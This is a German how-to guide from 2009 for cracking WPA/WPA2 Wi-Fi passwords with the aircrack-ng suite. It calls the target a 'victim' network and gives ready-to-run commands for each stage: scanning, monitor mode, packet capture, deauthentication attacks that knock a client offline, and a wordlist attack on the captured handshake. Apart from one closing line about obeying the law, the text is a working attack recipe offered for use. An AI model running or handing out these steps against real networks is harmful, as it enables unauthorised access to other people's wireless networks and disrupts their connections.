PDF-Version: SuperKato Tutorial: Quick & Dirty WPA / WPA2 Cracking

By http://www.SuperKato.net (Author: Ersan Günes, Version 1.0 April 2009)

Mein System:
Ubuntu 8.10 x86 32Bit mit Intel WiFi Link 5100 (Centrino2) Wlan Adapter
Aircrack-ng 32Bit Version
Wlan Adapter Name "wlan0" bzw. "mon0"
BSSID des Opfer Wlans : 7E:40:80:00:14:6C
ESSID des Wlands: "testwlan" WPA2-PSK verschlüsselt
Wlan MAC des Clienten: AA:0F:B5:B2:BC:82
Meine "Wlan0" Adapter Mac Adresse: 00:0F:AC:82:AC:82

Alle Befehle bitte als root ausführen! Sprich vor jedem Befehl ein "sudo" dransetzen oder gleich von Anfang an "sudo -s" eingeben und alle weiteren "sudo" Befehle vernachlässigen. Alle Befehle sind in einer Zeile geschrieben bitte lasst euch nicht vom Zeilenumbruch hier auf dieser Website irritieren!

0. Opfer Wlan suchen mit "airodump-ng"

```
sudo airodump-ng wlan0
```

1. Karte in Monitor Mode mit "airmon-ng" (z.B. Channel 6 für Opfer Wlan)

```
sudo airmon-ng start wlan0 6
```

Jetzt nur noch mon0 als Adapter Alias Namen für die Befehle verwenden!

1.1 Karte in Monitor Mode mit iwconfig und ifconfig (mit z.B. Channel 6 für Opfer Wlan)

```
sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor
sudo iwconfig wlan0 channel 6
sudo ifconfig wlan0 up
```

Jetzt einfach wlan0 weiter als Adapter Alias Namen verwenden bei den Befehlen!

2. Datenpakete bzw. Handshakes Sammeln mit "airodump-ng"

```
sudo airodump-ng -c 6 -w output --bssid 7E:40:80:00:14:6C wlan0
```

3. Es werden 8 DeAuth Pakete versenden mit "aireplay-ng"

```
sudo aireplay-ng -0 8 -a 7E:40:80:00:14:6C -c AA:0F:B5:B2:BC:82 wlan0
```

Sobald der Handshake aufgezeichnet wurde, benutzen wir direkt "aircrack-ng" um das Passwort herauszufinden.

4. Key aus dem Handshake cracken mit "aircrack-ng"

```
sudo aircrack-ng -a 2 -b 7E:40:80:00:14:6C -e testwlan -w <wordlist> *.cap
```

mit "-w <wordlist>" gebt ihr den Pfad zu eurer Wordlist/Rainbowtable an.

Viel Spaß und beachtet die geltenden Gesetze
Euer http://www.SuperKato.net Team!